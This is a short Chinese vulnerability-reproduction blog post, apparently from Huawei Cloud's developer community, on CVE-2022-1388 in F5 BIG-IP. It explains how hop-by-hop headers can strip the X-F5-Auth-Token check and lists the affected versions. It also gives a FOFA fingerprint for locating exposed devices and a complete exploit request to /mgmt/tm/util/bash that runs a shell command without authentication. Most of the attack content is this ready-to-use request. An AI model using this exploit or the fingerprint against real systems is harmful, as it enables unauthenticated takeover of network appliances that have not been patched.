漏洞复现 - CVE-2022-1388 F5 BIG-IP RCE

举报
亿人安全 发表于 2023/05/30 21:50:14 2023/05/30
924 0 0
【摘要】 漏洞原理hop-by-hop 逐跳，当在请求中遇到这些 header 头，逐跳会进行处理不让其转发至下一跳，比如 Connection: close，abc 在传输过程中，会把 abc 会从原始请求中删除，可以利用此特性进行 SSRF、绕过鉴权等操作，本次漏洞成因就是 Connection: Keep-alive，X-F5-Auth-Token，BIG-IP 的鉴权过程发生在 fronten...

漏洞原理

hop-by-hop 逐跳，当在请求中遇到这些 header 头，逐跳会进行处理不让其转发至下一跳，比如 Connection: close，abc 在传输过程中，会把 abc 会从原始请求中删除，可以利用此特性进行 SSRF、绕过鉴权等操作，本次漏洞成因就是 Connection: Keep-alive，X-F5-Auth-Token，BIG-IP 的鉴权过程发生在 frontend，在后续转发到 Jetty 时会将此 header 删除，从而绕过鉴权

PLAINTEXT 

1
2
3
4

POST /xxx HTTP/1.1
Host: 
Connection: close，abc
abc：

处理后变成

PLAINTEXT 

1
2
3

POST /xxx HTTP/1.1
Host: 
Connection: close

影响版本

PLAINTEXT 

1
2
3
4
5
6

- BIG-IP versions 16.1.0 to 16.1.2 (Patch released)
- BIG-IP versions 15.1.0 to 15.1.5 (Patch released)
- BIG-IP versions 14.1.0 to 14.1.4 (Patch released)
- BIG-IP versions 13.1.0 to 13.1.4 (Patch released)
- BIG-IP versions 12.1.0 to 12.1.6 (End of Support)
- BIG-IP versions 11.6.1 to 11.6.5 (End of Support)

fofa 指纹

title=”BIG-IP®- Redirect”

image-20220510020731124

发送数据包

PLAINTEXT 

1
2
3
4
5
6
7
8
9
10
11
12

POST /mgmt/tm/util/bash HTTP/1.1
Host: REDACTED
Content-Length: 45
Connection: Keep-Alive, X-F5-Auth-Token
Cache-Control: max-age=0
X-F5-Auth-Token: vvs
Authorization: Basic YWRtaW46

{
"command":"run",
"utilCmdArgs":"-c id"
}

image-20220510020538066

【声明】本内容来自华为云开发者社区博主，不代表华为云及华为云开发者社区的观点和立场。转载时必须标注文章的来源（华为云社区）、文章链接、文章作者等基本信息，否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容，欢迎发送邮件进行举报，并提供相关证据，一经查实，本社区将立刻删除涉嫌侵权内容，举报邮箱： cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

作者其他文章

评论（0）

抱歉，系统识别当前为高风险访问，暂不支持该操作

    全部回复

    上滑加载中

    设置昵称

    在此一键设置昵称，即可参与社区互动！

    *长度不超过10个汉字或20个英文字符，设置后3个月内不可修改。

    *长度不超过10个汉字或20个英文字符，设置后3个月内不可修改。

    确认 取消

    加入云驻计划，成为创作者

    • 华为云周边好礼
    • 免费体验产品
    • 特殊身份标识
    • 线下官方门票
    • 内部专家零距离
    • 与10000+优质创作者共同成长
    立即加入